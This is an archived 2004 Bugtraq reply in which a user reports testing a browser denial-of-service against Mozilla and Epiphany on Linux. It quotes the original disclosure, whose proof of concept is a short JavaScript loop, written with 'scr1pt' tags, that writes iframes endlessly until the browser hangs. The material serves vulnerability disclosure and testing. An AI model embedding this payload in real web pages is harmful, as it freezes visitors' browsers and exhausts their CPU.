bugtraq - Re: IE, Firefox, Opera DoS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <1093266578.7200.6.camel@lappy.crapnetwork.net>
Date: Mon, 23 Aug 2004 13:09:38 +0000
From: Dan Pixley <danpixley@....net>
To: exploits@...d.net, bugtraq@...urityfocus.com
Subject: Re: IE, Firefox, Opera DoS


Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).

Each browser comes up with a warning about running the script.  The user
can chose to run it or not.  Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.

Dan Pixley

On Sat, 2004-08-21 at 20:41, exploits@...d.net wrote:
> Description
> ========
>  
>     Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
>     Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over
>  
> POC
> ===
> URL : http://www.su1d.net/iframe2.html
> 
> <scr1pt language="JavaScript">
> while(true) 
> {
>    document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
> }
> </scr1pt>
> Discovered by MeFakon from the su1d exploit development team
>